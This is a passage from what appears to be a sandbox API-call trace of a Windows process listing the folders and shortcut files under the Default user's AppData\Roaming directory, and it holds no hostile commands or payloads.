lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.976] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0209.976] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0209.976] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0209.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0209.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0209.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0209.977] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming", lpFilePart=0x0) returned 0x20 [0209.977] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.977] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.977] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0209.977] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.978] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0209.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0209.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0209.978] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2a [0209.978] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.980] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.980] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0209.980] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0209.981] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0209.981] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0209.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0209.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0209.981] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2a [0209.981] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.981] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.982] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0209.982] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0209.982] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.982] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0209.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0209.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0209.983] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3c [0209.983] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.983] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.983] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0209.983] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 0 [0209.984] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0209.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0209.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0209.984] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3c [0209.984] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.984] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.985] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0209.985] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.985] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0209.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0209.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.985] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x49 [0209.985] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0210.385] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.385] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf6600cb, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0210.386] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk", cAlternateFileName="")) returned 1 [0210.386] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="")) returned 1 [0210.386] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.386] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0210.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0210.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0210.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0210.387] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x49 [0210.387] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0210.387] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.387] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf6600cb, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0210.388] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk", cAlternateFileName="")) returned 1 [0210.388] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="")) returned 1 [0210.388] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="")) returned 0 [0210.388] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0210.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0210.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0210.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0210.388] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows", 